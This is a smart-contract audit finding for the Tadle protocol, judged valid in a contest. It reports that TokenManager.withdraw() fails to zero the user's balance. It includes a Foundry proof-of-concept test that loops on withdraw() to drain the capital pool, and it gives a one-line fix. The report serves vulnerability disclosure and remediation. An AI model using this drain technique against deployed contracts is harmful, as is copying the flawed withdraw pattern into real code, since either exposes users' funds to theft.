Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

All funds in the Capital pool could be drained

Summary

Due to improper balance update in the withdraw() method, all funds from the capital pool can be drained.

Vulnerability Details

The withdraw() method in the TokenManager contract allows users to withdraw their balance for a specific token and balance type, but fails to reset the user's balance after the transfer is completed. This could allow malicious users to drain funds from the contract by repeatedly calling the withdraw function for the same balance.

function withdraw(address _tokenAddress, TokenBalanceType _tokenBalanceType) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(RelatedContractLibraries.CAPITAL_POOL);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(wrappedNativeToken, capitalPoolAddr, address(this), claimAbleAmount, capitalPoolAddr);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(_tokenAddress, capitalPoolAddr, _msgSender(), claimAbleAmount);
}
emit Withdraw(_msgSender(), _tokenAddress, _tokenBalanceType, claimAbleAmount);
}

PoC:

Add the following test in Premarkets.t.solfile and run forge t --mt test_DrainCapitalPool -vv

function test_DrainCapitalPool() public {
capitalPool.approve(address(mockUSDCToken));
deal(address(mockUSDCToken), address(capitalPool), 500e6); // add funds to capital pool
// Maker creates an ask offer
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 10 ** 6, // 1 USDC per point
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
vm.stopPrank();
address offerAddr = GenerateAddress.generateOfferAddress(0);
// Taker buys points
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), 1000e6);
preMarktes.createTaker(offerAddr, 1000);
vm.stopPrank();
// Simulate TGE and settlement period
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1 * 10 ** 18, // 1 point token per point
block.timestamp - 1,
3600
);
// Maker settles the ask offer
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 1000e18);
deliveryPlace.settleAskMaker(offerAddr, 1000);
vm.stopPrank();
// Check claimable balances
uint256 makerSalesRevenue =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 makerTaxIncome =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.TaxIncome);
console2.log("Claimable Sales Revenue:", makerSalesRevenue);
console2.log("Claimable Tax Income:", makerTaxIncome);
console2.log("=============== ATTACK START ======================");
uint256 capPoolBalBef = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("CapitalPool Balance before:", capPoolBalBef);
vm.startPrank(user);
uint256 capitalPoolBalance = capPoolBalBef;
for (uint256 i = 0; capitalPoolBalance > 0; i++) {
uint256 makerSalesRevenue =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
if (makerSalesRevenue > capitalPoolBalance) {
break;
}
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
}
vm.stopPrank();
// Check final balances
uint256 capPoolBalAft = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("CapitalPool Balance after:", capPoolBalAft);
console2.log("=============== ATTACK END ======================");
console2.log("Amount drained:", capPoolBalBef - capPoolBalAft - makerSalesRevenue);
}

Impact

Malicious users could potentially withdraw their entire balance multiple times, completely draining the capital pool contract.

Tools Used

Manual review.

Recommendations

To fix this vulnerability, update the user's balance immediately after the transfer is completed.

Add the following line just before the emit Withdraw statement:

userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.